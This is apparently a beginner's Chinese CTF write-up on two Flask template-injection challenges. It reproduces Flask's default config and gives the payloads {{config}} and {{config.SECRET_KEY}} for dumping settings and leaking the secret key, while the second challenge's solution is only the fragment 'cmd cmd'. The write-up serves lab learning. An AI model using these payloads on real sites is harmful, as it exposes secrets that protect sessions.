目录
Simp_SSTI_1
解题过程
进入场景,看到提示,得到第一条信息:参数名为 flag。
习惯性按F12,查看源码
看到新提示,得到第二条信息:需要flask设置secret_key变量
得到flag。
Flask默认配置文件:
{
'DEBUG': get_debug_flag(default=False), # 是否开启Debug模式
'TESTING': False, # 是否开启测试模式
'PROPAGATE_EXCEPTIONS': None,
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SECRET_KEY': None,
'PERMANENT_SESSION_LIFETIME': timedelta(days=31),
'USE_X_SENDFILE': False,
'LOGGER_NAME': None,
'LOGGER_HANDLER_POLICY': 'always',
'SERVER_NAME': None,
'APPLICATION_ROOT': None,
'SESSION_COOKIE_NAME': 'session',
'SESSION_COOKIE_DOMAIN': None,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_HTTPONLY': True,
'SESSION_COOKIE_SECURE': False,
'SESSION_REFRESH_EACH_REQUEST': True,
'MAX_CONTENT_LENGTH': None,
'SEND_FILE_MAX_AGE_DEFAULT': timedelta(hours=12),
'TRAP_BAD_REQUEST_ERRORS': False,
'TRAP_HTTP_EXCEPTIONS': False,
'EXPLAIN_TEMPLATE_LOADING': False,
'PREFERRED_URL_SCHEME': 'http',
'JSON_AS_ASCII': True,
'JSON_SORT_KEYS': True,
'JSONIFY_PRETTYPRINT_REGULAR': True,
'JSONIFY_MIMETYPE': 'application/json',
'TEMPLATES_AUTO_RELOAD': None,
}
flask查看配置文件的全局变量的playload:
name={{config}}
设置secret_key:
name={{config.SECRET_KEY}} #SECRET_KEY要大写,默认配置文件中为大写
Simp_SSTI_2
解题过程:
cmd
cmd
参考
具体思路参考:https://blog.csdn.net/qq_46230755/article/details/114646032
SSTI模板注入参考:(20条消息) Flask框架-SSTI模板注入漏洞_soldi_er的博客-CSDN博客
(注:笔者也是刚刚接触CTF,对Flask模板以及SSIT注入也是刚刚摸索阶段,如果有错误欢迎大家批评指正,也希望大佬们不吝赐教传授经验)